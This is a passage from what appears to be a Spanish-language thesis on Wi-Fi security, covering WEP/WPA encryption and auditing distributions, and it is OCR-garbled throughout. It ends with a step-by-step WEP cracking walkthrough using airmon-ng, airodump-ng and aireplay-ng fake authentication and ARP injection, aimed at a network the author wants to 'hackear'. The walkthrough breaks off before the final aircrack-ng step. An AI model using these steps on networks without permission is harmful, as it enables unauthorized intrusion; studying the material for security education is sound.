como cifrado de datos, para proteger a la informacién que viaja por la red;
autenticacién de usuarios, que identifica a las computadoras que intentan

acceder a la red; y acceso seguro para visitantes y usuarios temporales.
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2.7.1 Red Wi-Fi

Wi-Fi (Wireless Fidelity) Se le denomina a una red que cumple los estandares
802.11 relacionados a redes inalambricas de area local. Las redes Wi-Fi emplean
ondas de radio para conectar dispositivos, como por ejemplo ordenadores

portatiles a Internet, a las aplicaciones y a la red de su negocio.

La sefal de un router o de un punto de acceso Wi-Fi tiene un alcance aproximado
de unos 90 metros. Era una creencia extendida que las redes por cable eran mas
rapidas y seguras que las Wi-Fi. Sin embargo, las continuas mejoras de los

estandares y tecnologias Wi-Fi han eliminado en gran medida estas diferencias.

La red Wi-Fi habitualmente se encuentra en lugares publicos, tales como cafés,
hoteles y salas de espera de aeropuertos, y también muchas empresas poseen
redes Wi-Fi en todos los edificios de sus oficinas o en sus campus, para su uso
por parte de empleados e invitados. De igual forma y en lo que nos enfocaremos

€S €N SuU USo para hogares.

Muchos routers funcionan como puntos de acceso W-iFi. Conectan multiples
ordenadores (e impresoras con acceso inalambrico) a una unica red Wi-Fi y a
Internet. Este tipo de redes puede extenderse por un area a través de la
colocacién de puntos de acceso W-iFi adicionales en distintos emplazamientos.

Los puntos de acceso amplian el alcance y potencia de la sefial.

Muchos ordenadores portatiles poseen funciones de red Wi-Fi integradas. Si su
ordenador no dispone de ellas, necesitara una tarjeta adaptadora de red

inalambrica, que suele ser econdmica y de facil instalacion.
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2.7.2 Ventajas y desventajas de Wi-Fi

Ventajas

No existen cables fisicos (no hay cables que se enreden).

Poder conectarse desde cualquier lugar que se encuentre dentro del rango
de cobertura de la red.

Su instalacion es rapida y rentable.

Al no haber cables de por medio, este tipo de redes son mas baratas que
las cableadas.

Eleccion de entre varias sefales libres o con seguridad.

Al ser redes inalambricas, la comodidad que ofrecen es superior a las
cableadas.

De igual forma la movilidad en este tipo de redes, lo que nos indica que

podemos seguir conectados aun estando en movimiento.

Desventajas

>

La principal desventaja de este tipo de redes es la seguridad (mas adelante
hablaremos de ello).

La sefnal puede bloquearse o presentar interferencias.

Todavia no hay estudios certeros sobre la peligrosidad (o no) de las
radiaciones utilizadas en las redes inaldmbricas.

La velocidad que alcanzan es baja en comparacion con la de un cable de
red.

Distancia limitada para la recepcion de la sefal, saliendo del rango de

cobertura de red, se pierde toda conexion.
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2.7.3 Sistemade red WEP

Tiempo después de que apareciera la tecnologia inalambrica Wi-Fi. El unico
sistema de seguridad que incluia era el cifrado WEP (Wired Equivalency Protocol)
o Protocolo de Equivalencia con la Red. Introducido como parte de la original de
802.11 ratificado en septiembre de 1999, su intencidon es la de garantizar la
confidencialidad de datos comparable a la de una red cableada tradicional, WEP
es ampliamente utilizado y es a menudo la opcion de seguridad presentado por

primera vez a los usuarios por la configuracion del router.

El Estandar de 64-bit WEP utiliza una clave de 40 bits (también conocido como
WEP-40), que se concatena con un vector de inicializacion de 24 bits (IV) para
formar la clave del trafico RC4. Una clave de 128-bit WEP es casi siempre
introducidos por los usuarios como una cadena de 26 caracteres hexadecimales
(base 16) caracteres (0-9 y A-Z). Cada personaje representa cuatro bits de la
clave. 26 digitos de cuatro bits cada uno da 104 bits, la adicion de la IV de 24 bits
produce la final de 128 bits clave WEP.

Un sistema de 256-bit WEP esta disponible en algunos fabricantes, y como con el
sistema de clave de 128 bits, 24 bits de que es para el IV, dejando 232 bits reales
para su proteccion. Estos 232 bits se suele introducir como 58 caracteres
hexadecimales. (58 x 4 = 232 bits) + 24 bits IV = 256 bits clave WEP.

“Para garantizar la integridad, el texto original se envia junto con lo que se conoce
como ICV (Integrity Check Value) o Valor de Comprobacion de Integridad. Se trata
de 32 bits de comparacion de integridad que se calcula con ofro algoritmo llamado
CRC-32 (Cyclic Redundancy Check) o Cddigo de Redundancia Ciclica de 32 bits.”

(Gémez, 2011). Ver ilustracion 15
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Clave estitica

b
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llustracion 15 Proceso de cifrado WEP

Desde entonces, se ha aceptado que WEP proporciona un nivel de seguridad
aceptable solo para usuarios domésticos y aplicaciones no criticas. Sin embargo,
incluso eso se desvanecié con la aparicion de los ataques KoreK en 2004
(ataques generalizados FMS, que incluian optimizaciones de h1kari), y el ataque
inductivo invertido Arbaugh, permitiendo que paquetes arbitrarios fueran des

encriptados sin necesidad de conocer la clave utilizando la inyeccidon de paquetes.

Las herramientas de cracking, como Backtrack 5, ponen en practica estos ataques
y pueden extraer una clave WEP de 128-bits en menos de 10 minutos (o algo

mas, dependiendo del punto de acceso y la tarjeta Wireless especificos).

La incorporacion de la inyeccion de paquetes mejord sustancialmente los tiempos
de crackeo de WEP, requiriendo tan solo miles, en lugar de millones, de paquetes
con suficientes IVs unicos — alrededor de 150,000 para una clave WEP de 64-bits
y 500,000 para una clave de 128-bits. Con la inyeccidén de paquetes, el obtener los
datos necesarios era apenas una tarea de minutos. En la actualidad, WEP esta

definitivamente muerto.
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“La WECA (la asociacion de fabricantes de productos y servicios inalambricos que
certifica los equipos) siempre ha respondido a estos informes diciendo que los
ataques siempre utilizan sistemas muy sofisticados (aunque mas adelante
veremos lo contrario). En cualquier caso, tanto WECA como IEEE han trabajado
para ofrecer una alternativa a WEP que ofrezca mayores niveles de seguridad:
Los resultados han sido WPA y IEEE 802.11i.” (Gémez, 2011).

2.7.4 Sistema de red WPA

En 2003 se propone el WPA (Wi-Fi Protected Access) o Acceso Protegido a Wi-Fi
y luego queda certificado como parte del estandar IEEE 802.11i, con el nombre de
WPA2 en 2004.

WPA: Publicado oficialmente por WECA a principios de 2003, el cual tiene la
ventaja de ser compatible con el hardware existente con la recomendacion de

actualizar su firmware.

WPAZ2: Denominado estandar 802.11.i, publicado oficialmente por IEEE en junio
de 2004, Aunque no es compatible con el hardware anterior, tiene la ventaja de
ser mas seguro y fiable. Este estandar también se conoce como RSN (Robust

Security Network) o Red de Seguridad Robusta.

WPA y WPA2 son protocolos disefiados para trabajar con y sin un servidor de
manejo de llaves. Si no se usa un servidor de llaves, todas las estaciones de la red
usan una PSK (Pre-Shared-Key) o llave previamente compartida, El modo PSK se
conoce como WPA o WPA2-Personal. Cuando se emplea un servidor de llaves, al
WPA2 se le conoce como WPA2-Corporativo o (WPA2-Enterprise). En WPA-

Corporativo, se usa un servidor IEEE 802.1X para distribuir las llaves.
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Una mejora notable en el WPA sobre el viejo WEP es la posibilidad de
intercambiar llaves de manera dinamica mediante un TKIP (Temporal Key Integrity

Protocol) o Protocolo de Integridad Temporal de Llaves.

La idea era crear un sistema de seguridad que hiciera de puente entre WEP vy el
802.11i WPAZ2, el cual estaba por llegar. Para ello utiliza el protocolo TKIP vy
mecanismos 802.1x. La combinacion de estos dos sistemas proporciona una
encriptacion dinamica y un proceso de autentificacion mutuo. Asi pues, WPA
involucra dos aspectos: un sistema de encriptacion mediante TKIP y un proceso

de autentificacion mediante 802.1x.

El proceso de encriptacion es similar al realizado en WEP, pero con varias
diferencias. Para empezar, si bien TKIP usa el algoritmo RC4 proporcionado por
RSA Security para encriptar el cuerpo del frame asi como el CRC antes de la
transmision, en este caso se utilizan 1V de 48 bits, lo que reduce significativamente
la reutilizaciéon y por tanto la posibilidad de que un hacker recoja suficiente

informacion para romper la encriptacion.

Por otro lado y a diferencia de WEP, WPA automaticamente genera nuevas llaves
de encriptacion unicas para cada uno de los clientes lo que evita que la misma

clave se utilice durante semanas, meses o incluso afios, como pasaba con WEP.

WPA implementa lo que se conoce como MIC o (Message Integrity Code) o
Caodigo de Integridad del Mensaje. EI MIC 8 bytes, un sistema de comprobacioén de
la integridad de los mensajes, que se instala justo antes del ICV. Para el proceso
de autentificacion WPA y WPA2 usan una combinacion de sistemas abiertos y
802.1x. El funcionamiento es igual al ya comentado en el apartado del 802.1x.
Inicialmente el cliente se autentifica con el AP (Access Point) o Punto de Acceso,

el cual le autoriza a enviarle paquetes.
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“En definitiva, WPA ofrece soluciones para las principales deficiencias de WEP: ya
que mejora el cifrado de datos mediante TKIP, utiliza claves dinamicas y permite la
distribucion automatica de las claves asi mismo proporciona una autentificacion
fuerte acorde al estandar de IEEE 802.1x.

En cuanto a WPAZ2 la principal diferencia con los sistemas de cifrado anteriores es
que se Uutiliza el cifrado de bloques AES (Advance Encryptio Syandar) o Estandar
de Cifrado Avanzado. A diferencia de sus predecesores WEP y WPA quienes
utilizaban el cifrado de flujo RC4.” (Gomez, 2011).
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Capitulo 3

3.0 Testeo e Infiltracién en redes Wi-Fi

Con el aumento significativo dia con dia de personas que utilizan redes
inalambricas, es mas comun el uso de estas en diferentes ambitos desde el hogar
hasta grandes empresas, debido a esto es mas comun los ataques por este tipo
de redes. No se necesita ser un “hacker” para realizar este tipo de ataques, solo
se necesita tener algunos conocimientos basico para lograrlo, esto quiere decir
que cualquier persona experta o no en el tema de seguridad de redes inalambricas
puede acceder a una red solo en unos cuantos pasos y unos minutos que le

llevara el proceso de infiltracién.

Hoy en dia hay diferentes programas y herramientas que hacen mas facil el testeo

y la infiltracion a redes inalambricas con seguridad WEP y WPA principalmente.
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La mayoria de este software es libre (se le dice software libre a la libertad de todos
los usuarios que adquirieron el producto y, por tanto, una vez obtenido el mismo
puede ser usado, copiado, estudiado, modificado, y redistribuido libremente de

varias formas) y por lo tanto no tiene costo alguno para adquirirlo.

La mayoria de este software y/o herramientas trabajan sobre sistemas operativos
de software libre, un ejemplo basico es GNU/Linux, aunque también existen

programas que trabajan sobre las plataformas de Windows y Mac OS.

Algunos se pueden usar desde un LiveCD y otros simplemente se pueden hacer
portatiles lo que nos ayuda a usarlo en cualquier momento y en cualquier lugar sin

importar el sistema operativo que tengamos instalado en nuestra computadora.

3.1 Programas mas usados para el testeo de sefales

A continuacion se dan a conocer algunas de las herramientas y software mas
usados que se ocupan principalmente para el testeo e infiltracion de redes

inalambricas:

3.1.1 Beini

Es un sistema completo desarrollado para comprobar la seguridad de las redes
wireless, basado en Tiny Core Linux. FeedingBottle, la GUI de aircrack-ng de

Beini.

Beini es una mini distribution GNU/Linux que les va a permitir probar la seguridad
de un punto de acceso Wifi. También, que esta basada en Tiny Core Linux, y que
es muy ligera pues con un peso de 47 Mb, el peso del archivo de descarga.
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Sin embargo, Beini, tiene una particularidad. Tiene numerosas herramientas, entre

las que podemos citar algunas: Aircrack-ng, Minidwep-gtk, Bib, etcétera.

3.1.2 Wifiway

Es una distribucién de seguridad Wi-Fi basada en Linux From Scratch. Con
Wifiway, podréis realizar auditorias en vuestras red inalambricas Wi-Fi utilizando
herramientas como Kismet, Aircrack, Airodump o Wireshark. La gran ventaja de la
distribucién Wifiway, radica en la integracion de todas las herramientas necesarias
a la hora de realizar ataques y analisis de redes inalambricas Wi-Fi bajo
GNU/Linux.

3.1.3 Wifislax

Es una distribucidén de seguridad informatica orientada a la seguridad en redes Wi-
Fi. Esta disponible en formato Live CD, y a continuacion se detallaran sus
caracteristicas, su ubicacion de descarga, asi como su disponibilidad en diversos

soportes como USB, CD-Rom, etcétera.

3.1.4 Aircrack

Es un programa crackeador de claves WEP 802.11 y claves WPA-PSK que es
capaz de recuperar las claves una vez que haya conseguido suficientes paquetes
de datos. Implementa el ataque estandar FMS junto con algunas optimizaciones
como los ataques Korek, asi como todos los nuevos ataques PTW y como
consecuencia obtiene un resultado de ataque mucho mas rapido comparado con
otras herramientas de crackeo WEP. De hecho, Aircrack-ng es un conjunto de

herramientas para auditar redes Wi-Fi.
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3.1.5 Wifi Auditor

Es un programa gratuito de codigo abierto (OPENSOURCE) que te permitira
realizar auditorias en tu red wifi para comprobar si la clave de nuestra red Wi-Fi
que tenemos es segura evitando asi posibles ataques de intrusos en nuestra red y

mejorando la seguridad de la misma.

La aplicacion descifra al instante muchas claves por defecto tipo WPA-PSK osea
las que vienen de casa con el Router. Solamente funcionara cuando no se haya
mejorado la seguridad de una red, es decir funcionara cuando no se hayan

cambiado las claves que traen inicialmente los Routers.

Esto nos servira para hacer auditorias Wi-Fi y comprobar si la clave que tiene

nuestro Router es segura.

3.2 Criptografia

La criptografia es el arte o la ciencia de cifrar o descifrar informacién mediante
técnicas especiales y se emplea frecuentemente para permitir un intercambio de
mensajes que solo puedan ser leidos por personas a las que van dirigidos y que
poseen los medios para descifrarlos. Cuando se habla de esta area de
conocimiento como ciencia se deberia hablar de criptologia que engloba tanto a
las técnicas de cifrado, es decir la criptografia como sus técnicas complementarias
entre las cuales se incluye el criptoanalisis que estudia métodos empleados para
romper textos cifrados con objeto de recuperar la informacion original en ausencia

de claves.

75



Capitulo 3. Testeo e Infiltracién en redes Wi-Fi

A lo largo de la historia el ser humano ha desarrollado sistemas de seguridad que
le permiten comprobar en una comunicacién la identidad del interlocutor,
asegurarse que solo obtendra la informacion el destinatario solicitado y que
ademas ésta no podra ser modificada e incluso que ninguna de las 2 partes podra

negar el hecho de cuando fue enviado y recibido el mensaje. Ver ilustracion 16

Algoritmo de
Encriptacion

Clave

Criptograma

llustraciéon 16 Ejemplo de encriptacién

En la mayor parte de los casos el sistema de seguridad se basa en la
identificacion fisica de la persona, informacion que contrasta con el documento de
identidad.

Actualmente con el continuo crecimiento de Internet, cada vez se hacen mayor los
numeros de mensajes que se estan trasladando al mundo electronico a través de
correos electronicos, mensajes privados, redes sociales, etcétera. Por lo cual
necesitamos un documento digital que ofrezca las mismas funcionalidades que los
documentos fisicos con el anadido de ofrecer garantias de seguridad aun sin

presencia fisica.
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Ante tales amenazas, la unica solucion consiste en proteger nuestros datos mediante
el uso de técnicas criptograficas. Esto nos permitira asegurar al menos dos
elementos basicos de la Seguridad Informatica, a saber la confidencialidad o secreto

de la informacion y la integridad del mensaje, ademas de la autenticidad del emisor.

En la criptografia, la informacion original que debe protegerse se denomina texto
en claro o texto plano, el cifrado es el proceso de convertir el texto plano en un
galimatias ilegible denominado texto cifrado o criptograma. Por lo general, la
aplicacidén concreta del algoritmo de cifrado (cifra) se basa en la existencia de una
clave, informacion secreta que adapta el algoritmo de cifrado para cada uso

distinto.

Las 2 técnicas mas sencillas de cifrado en la criptografia clasica son la sustitucion
(que supone el cambio de significado de los elementos basicos del mensaje, las
letras, los simbolos o los digitos) y la transposicion (supone una reordenacion de

los mismos).

El descifrado es el proceso inverso que recupera el texto plano a partir del
criptograma y la clave. El protocolo criptografico especifica los detalles de como se
utiliza los algoritmos y las claves (y otras operaciones primitivas) para conseguir el
efecto deseado. El conjunto de protocolos, algoritmos de cifrado, procesos de
gestion de claves y actuaciones de los usuarios es lo que constituye en conjunto

un criptosistema que es con lo que el usuario final trabaja e interactua.

Existen 2 grandes grupos de cifrados, los algoritmos que solo utilizan una clave
tanto en el proceso de cifrado como en el de descifrado y los que emplean una
clave para cifrar mensajes y una clave distinta para descifrarlos. Los primeros se
denominan cifrados simétricos de clave simétrica o de clave privada y son la base
de los algoritmos de cifrado clasico. Los segundos se denominan cifrados
asimétricos de clave asimétrica o de clave publica y forman el nucleo de las

técnicas de cifrado modernas. Ver ilustracion 17
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1=
Alice

MNOS vamos MNos vemos
a las 8:00 alas 8:00

m W2Hd g?dif ]11—0

Encriptacion | 189%8C1"'sd Desencrplacion

W2Hd ddif W2Hd a?dif
5%&a)sd Canal |ﬁ5€gUrC’ - 5% 5 sd

O—m ciove Pivada
O==m Clave Plublica

llustracién 17 Mensaje de encriptado basico

Como podemos ver el mensaje original lo envia Alice y va dirigido a Bob, seguido
de esto el mensaje se encripta y se manda, supongamos que Eve es un espia
informatico y trata de ver el contenido del mensaje, pero a la hora de abrir el
mensaje (como no era enviado para ella y no tiene la llave adecuada para abrirlo)
se da cuenta de que solo ve caracteres y simbolos y no ve un mensaje completo e
integro. Por otro lado una vez que Bob recibe el mensaje y lo abre el si puede ver

el contenido original del mensaje tal cual fue escrito por Alice.

Aun y con estos métodos de encriptacion no estamos exentos de ser victimas de
un ataque, como por ejemplo, los ataques por fuerza bruta, estos son muy
costosos en tiempo computacional por o que suelen combinarse con un ataque de

diccionario.
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Un ataque de diccionario es un meétodo de cracking que consiste en intentar de

averiguar una contrasefa probando todas las palabras del diccionario.

Por otro lado tenemos los ataques de diccionario que tienen pocas probabilidades
de éxito con sistemas que emplean contrasefas fuertes con letras en mayuscula y
minuscula mezcladas por numeros y con cualquier tipo de simbolos. Sin embargo,
para la mayoria de los usuarios recordar contrasefias tan complejas resulta

complicado.

3.3 Backtrack

En resumidas cuentas Backtrack no es un programa, es una distribucion
GNU/Linux disefiada para hacer auditorias de seguridad informatica con multiples
herramientas precargadas, por lo que usarlo se compara mas con usar Windows
que usar un programa de este ultimo. Dentro de Backtrack, usaremos la suite
aircrack-ng, una serie de herramientas que nos permitira obtener la clave

WEP.Backtrack es libre, lo que nos permite descargarlo desde su pagina oficial.

http://www.backtrack-linux.org/downloads/

Una vez en la pagina lo podemos encontrar en KDE y Gnome (el que viene en
Ubuntu y en el que se basa este pequino tutorial), que son entornos graficos de
Linux, pero de lo que vamos a utilizar todo es igual. Lo que haremos a
continuacion es descargar la version ISO, y de preferencia la version r3 que es la
ultima. Backtrack es algo pesado, (3 gb aprox) por lo que es necesario una USB
de 4 gb minimo o un DVD donde guardarlo ya que como dije no trabajaremos
sobre Windows. Al iniciar nuestra computadora no iniciara Windows o el sistema

que tengan instalado, mas bien iniciara Backtrack desde nuestro USB o DVD.
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Es posible encontrar por la red versiones anteriores de Backtrack un poco mas
ligeras, sin embargo es mejor utilizar la ultima que tiene precargados mas drivers
(lo que nos ayuda ya que soporta mas tarjetas de red actuales), de otra manera
podemos batallar mucho intentando hacer que nos reconozca la tarjeta de red,

entre otros controladores.

3.3.1 Usando Backtrack

Backtrack se puede instalar en nuestra computadora como sistema principal en
todo el disco duro o en alguna particion del disco duro, sin duda la mayor ventaja
de él es que (al igual que los LiveCD de Ubuntu y otras distribuciones) podemos
utilizarlo sin instalarlo, algo muy util cuando no tenemos particiones disponibles o
no tenemos idea de como hacer una particion en un disco duro o también que solo

utilizaremos el programa esporadicamente y no muy seguido

A continuacién se explica como hacer el proceso de grabarlo en un DVD o una

USB para hacerlo booteable:

e Grabarlo en DVD - Se hace igual que con cualquier otro DVD, lo grabamos
por medio de programas como Cyberlink, Roxio, Nero o con el mismo
software que trae Windows podemos grabarlo para luego arrancar de €l al

iniciar nuestra computadora.

e« Guardarlo en USB - Bien, esto se vuelve un poco mas complicado que
grabarlo en un DVD ya que las memorias no tienen un sector de arranque y
hay que cargarselo mediante un programa y un poco mas a la hora de
arrancar de la USB ya que hay que configurar la BIOS para ello, pero aqui

va paso por paso:
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Existen diferentes programas para grabar una ISO en una USB, para este
pequeno tutorial se utilizara UNetbootin. Ver ilustracion 18. El cual se puede

descargar desde su pagina oficial:

http://unetbootin.sourceforge.net/

A continuacion se explica como utilizar este programa muy sencillamente para

guardar una ISO, en este caso Backtrack 5:

Distribucion | == Seleccionar la Distribudon ==+ | | == Seleccionar la Version ==

Bienvenido a UNetbootin, el instalador de arranque en red universal. Uso:

1. Seleccione una distribucion y version para descargar de la lista anterior, o especifique
manualmente los archivos para cargar a continuacion.
2. Seleccione un tipo de instalacion y pulse Aceptar para comenzar la instalacion.

@ Discolmagen Programas\Sistemas Linux\Backtrack S R3.iso [:]

| Espacio para almacenar datos permanentes, tras un reinicio (Disponible solo para Ubuntu): 0 s MB

l Tipo: [LkidadUSB v] Unidad: [D:\ 4

llustracion 18 UNetbootin
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Seleccionamos Discolmagen.

Seleccionamos ISO.

Seleccionamos la ubicacién del archivo ISO de Bactrack 5 que descargamos.

Seleccionamos la unidad que la computadora asigné a nuestra USB en mi caso
es D:\

Damos click en Aceptar.

El proceso puede ser un poco tardado, dependiendo de la capacidad de la USB y
de nuestra computadora. Una vez terminado el proceso de copiado solo damos en

cerrar. Con esto ya tenemos preparado todo, es hora de utilizar Backtrack 5.

3.3.2 Descifrando la contrasefia de una red con Backtrack

Bien ahora que tenemos Backtrack 5 en nuestra USB o DVD hay que iniciar desde

eél, para ello hay que reiniciar la computadora y:

> Seleccionar el dispositivo de arranque al iniciar la computadora.

Esto es algo muy sencillo de hacer ya que no hay que configurar nada, solo

seleccionamos el dispositivo de arranque en donde tenemos Backtrack 5.

Si utilizamos el DVD probablemente no hay que configurar nada, este solo
arrancara con el hecho de encender el PC y que el DVD esté en la bandeja, pero
con la USB iniciaria Windows, por lo que al encender la computadora hay que
presionar F12 (es la opcion por dafault de la mayoria de las computadoras), una
vez realizado esto debe mostrar algo como "Press F12 to select boot device" o
"Presione F12 para elegir el dispositivo de arranque" entonces tendremos algo

como lo siguiente imagen. Ver ilustracion 19
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Please select hoot device:

USB:Virtual FDD

USB:Virtual DUD/CD-ROM

HDD :34-LEXAR ATA FLASH
Network:IBA GE Slot 0600 v1242
Network:IBA GE Slot 0601 v1242

<{Enter Setup>

T and { to nove selection
ENTER to select boot device
ESC to boot using defaults

llustracion 19 Seleccién de dispositivo de arranque con F12

Aqui hay que elegir nuestra unidad de DVD o USB. Generalmente viene el tipo de

dispositivo y luego alguna especificacién, por ejemplo: USB: Kingston dt 101 g4

Pero no todas las computadoras tienen esta opcion, entonces hay que configurar
la BIOS, esto se hace normalmente presionando F2, ESC o FIN, La pc debe
mostrar algo como "Press F2 to enter setup” o "Press F2 to enter Bios" una vez en
la BIOS hay que ir a las configuraciones de "boot" o "arranque" y elegir como

primer dispositivo de arranque o "First boot device" nuestra USB o DVD.

Es recomendable volver a dejarlo como estaba al terminar de usar Backtrack 5.
Después de esto reiniciamos nuestra computadora y Backtrack 5 deberia iniciar.
Al iniciar Backtrack 5, lo primero que aparecera sera la siguiente pantalla: Ver

ilustracion 20
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ISOLINUX 3.63 Debian—-Z2008-07-15 Copyright (C) 1994-2008 H. Peter Anwvin
boot :

llustracion 20 Captura del boot

Hay que presionar cualquier tecla y luego aparecera esta pantalla: Ver ilustracion
21

BackTrack Live CD

BackTrack Stealth — No Networking enabled

BackTrack Forensics — No Dri

BackTrack noDRM — No DRM Dr iVers

BackTrack Debug - Safe Mode

BackTrack Memtest — Run memtest

Hard Drive Boot — boot the first hard digk

c< back | track [=

Press [Tabl to edit options

Automatic boot in 16 seconds...

llustracion 21 Captura de seleccion de modo de arranque
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Seleccionamos el Default Boot - Text Mode, y después de cargar algunos

controladores aparecera la siguiente pantalla: Ver ilustracion 22

2.1761581 usb 1-1: new full-speed USB device number Z using ohci_hcd

2.2235381 udev: starting version 151

2.2405291 Suitching to clocksource tsc

Z.2486681 udevd (B83): /proc/B3rsoom_adj is deprecated, please use /proc/B3/oom_score_adj instead.
2.7251171 e1000: Intel(R) PRO-1000 Network Driver — version 7.3.21-k8-NAPI

2.7313361 e1000: Copyright (c) 1999-2006 Intel Corporation.

2.79515401 pcnet32: ponet32.c:vl.35 Z21.Apr.2008 tsbogend@alpha.franken.de

2.7954451 ACPI: PCI Interrupt Link [LNKA] enabled at IRQ 5

2.8015851 1000 0000:00:09.0: PCI INT A -> Link[LNKAl -> GSI 5 (level, low) —> IRQ 5

3.900470]1 1000 0000:00:09.0: ethO: (PCI:33MHz:32-bit) 0B:00:27:6f :f8:db

3.9067921 1000 0000:00:09.0: eth0: Intel(R) PRO-1000 Network Connection

3.9438001 ACPI: PCI Interrupt Link [LNKC] enabled at IRQ 10

3.9562291 pcnet3Z2 0000:00:03.0: PCI INT A —> Link[LNKC1 —> GSI 10 (level, low) -> IR 10
3.9808601 pcnet32: PCnet PCI II 79C970A at O0xd020, 0B:00:27:01:4e:be assigned IRQ 10

4.004117]1 pcnet32: ethl: registered as PCnet PCI I1 79CI70A

4.010107]1 input: VirtualBox USB Tablet as ~sdevices-pci@0o0:00-0000:00:06.0-usbl-1-1-1-1:1.0-input/inpy

4.015393]1 1000 0000:00:0a.0: PCI INT A -> Link[LNKB] -> GSI 11 (level, low) —> IRQ 11
4.0270491 generic—usb 0003:80EE:0021.0001: input,hidrawd: USB HID vi.10 Mouse [VirtualBox USB Tabletl
m usb-0000:00:06.0-1/inputd
4.0359521 usbcore: registered new interface driver usbhid
4.0388011 usbhid: USE HID core driver
5.213667]1 1000 0000:00:0a.0: eth2: (PCI:33MHz:32-bit) 08:00:27:6d:e3:16
5.225618] 1000 0000:00:0a.0: ethZ: Intel(R) PRO/1000 Network Conmection
5.2320661 ACPI: PCI Interrupt Link [LNKD]1 enabled at IRQ 9
5.2338571 pcnet3Z 0000:00:08.0: PCI INT A -> Link[LNKD] -> GSI 9 (level, low) -> IRQ 9
5.2379091 pcnet32: PCnet FAST III 79C973 at Oxd240, 08:00:27:51:ee:a4 assigned IR) 9
5.2410991 pcnet32: Found PHY 002Z:561b at address O
5.2600151 pcnet32: eth3: registered as PCnet,FAST 111 79C973
5.2663701 pcnet32: Z cards_found
inux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU~Linux

System information disabled due to load higher than 1.0
T# startx

“The quieter you become, the more you are able fo hear.”

llustracién 22 Captura de inicio de Backtrack 5r3

Ya tenemos Backtrack 5 listo para usarse, pero para hacerlo mas amigable al

usuario y entrar en modo grafico escribimos lo siguiente:

startx

Seguido de esto presionamos enter. Asi iniciara el modo grafico de Backtrack 5 r3,

como se aprecia en la siguiente imagen: Ver ilustracion 23
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s

Install BackTrack

<< back | track 5

llustracién 23 Captura del modo grafico de Backtrack 5r3

A simple vista se puede observar que es muy semejante a Ubuntu y lo mejor, en

este punto ya estamos listos para empezar a descifrar o “crackear” la clave WEP.

El siguiente paso es preparar nuestra tarjeta de red inalambrica para ello lo

primero que hay que hacer es abrir una terminal y usar el siguiente comando:

airmon-ng

Aqui podemos ver nuestras tarjetas de red. La que utilizaremos para este tutorial

es wlan0 pero también puede ser athO u alguna otra cosa. Ver ilustracion 24
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~ v * root@bt: ~
File Edit View Terminal Help
:~# airmon-ng

Interface Chipset Driver
wlane Unknown rtl8192ce - [phy®o]

:«#‘D

llustracion 24 Captura del comando "airmon-ng"

Lo siguiente es poner la tarjeta en modo monitor, para ello tecleamos el siguiente

comando:

airmon-ng start wlan0

En donde wlan0 es nuestra interfaz de red. Como podemos ver el modo monitor
se activo en la interfaz mon0 que es la que utilizaremos de ahora en adelante. Ver

ilustracion 25
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root@bt: ~

Lt View Terminal Help

llustracién 25 Captura del comando "airmon-ng start wlan0"

El siguiente paso es escanear las redes disponibles, para ello utilizaremos el

siguiente comando:

airodump-ng monO

Doénde:

monO0 es nuestra interfaz de red y obtendremos lo siguiente: Ver ilustracion 26
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llustracién 26 Captura del comando "airodump-ng mon0"

Después de que aparezcan algunas redes o en este caso la que queremos
“hackear” hay que presionar Ctrl+c para detener la busqueda. Hay que anotar 1 el

canal, y 2 la direccion MAC (BSSID) pues la utilizaremos mas adelante.

El siguiente paso es comenzar a capturar los paquetes de la red, para ello

utilizaremos el siguiente comando:

airodump-ng -c 1 --bssid 98:2C:BE:D8:E6:22 -w crackwep mon0
Dodnde:

-c Canal en donde esta la red

--bssid Direcciéon Mac de la red

-w Nombre del archivo en donde se guardaran los paquetes

monO Nuestra interfaz de red

89



Capitulo 3. Testeo e Infiltracién en redes Wi-Fi

Después de hacer este paso se abrira una ventana parecida a la anterior, pero
ahora so6lo aparecera dicha red y se estaran guardando los datos en un archivo en

la carpeta root. Ver ilustracion 27

~ ~ * root@bt: ~
File Edit View Terminal Help

CH 1 1[ Elapsed: 32 s ][ 2012-10-14 ©2:49
PWR RXQ Beacons #Data, £/S - M| ENC CIPHER. . AUTH ESSID
WEP WEP Apeoloblog

STATION t Erames. “Prge

llustracién 27 Captura del comando "airodump-ng -c 1 --bssid
98:2C:BE:D8:E6:22 -w crackwep mon0"

Lo siguiente es abrir una nueva pestafia en la terminal y hacer una falsa
autentificacion para poder inyectar paquetes mas adelante. En esta nueva pestafa

utilizaremos el siguiente comando:

aireplay-ng -1 0 -a 98:2C:BE:D8:E6:22 mon0
Doénde:

-1 Flag de aireplay para la falsa autentificacién, el 0 indica cada cuando se hace

la falsa autentificacion.
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-a MAC de la red.
monO Nuestra interfaz de red.

Aparecera algo asi: Ver ilustracion 28

~ v~ % root@bt: ~
File Edit View Terminal Tabs Help

root@bt: ~ 3¢ root@bt: ~

ACG~{ Aquidebeirtu MAC )
:BE:D8:E6:22) en*channel 1

llustracion 28 Captura del comando "aireplay-ng -1 0 -a 98:2C:BE:D8:E6:22

monQ"

El siguiente paso es capturar peticiones ARP e inyectarlas para generar paquetes
gue nos serviran para crackear el password. Para ello utilizaremos el siguiente

comando:

aireplay-ng -3 -b 98:2C:BE:D8:E6:22 mon0
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Doénde:
-3 Flag de aireplay para capturar y reenviar peticiones ARP
-b MAC de lared

monO Nuestra interfaz de red y debe aparecer lo siguiente: Ver ilustracion 29

~ v~ X root@bt: ~
File Edit View Terminal Tabs Help

root@bt: ~ 8 root@bt: ~ 3¢ | root@bt: ~

mono®
AC~(* Aquidebe irtu MAC )
:2C:BE:D8:E6:22) en*channel 1
-1014-024947 .cap
to captu eplies~
ﬁ:ad 56 packets (got © ARP requests and © ACKs), sent © packets...(© pps)

llustracién 29 Captura del comando "aireplay-ng -3 -b 98:2C:BE:D8:E6:22

monQ"

Que después de unos minutos debe comenzar a capturar paquetes ARP: Ver

ilustracion 30

92



Capitulo 3. Testeo e Infiltracién en redes Wi-Fi

* root@bt: ~

N | rootizbt

llustracién 30 Captura de paquetes ARP

En la siguiente imagen podemos ver como aumentan los Iv's que son los que
necesitamos para crackear el password WEP y aparecen como #Data en la

pestafa de airodump-ng: Ver ilustracion 31
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llustracion 31 Captura de datos en la pestafia de "airodump-ng"

Normalmente con 5,000 Iv's podemos comenzar a desencriptar la clave, pero con
unos 20,000 es un poco mas seguro, en este caso ya tenemos poco mas de

18,000 y aumentando por lo que ya podemos utilizar aircrack-ng.
Para esto vamos a utilizar el siguiente comando:

Ls

Ver ilustracion 32
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* root@bt: ~
File Edit View Terminal Tabs Help

%  root@bt: ~

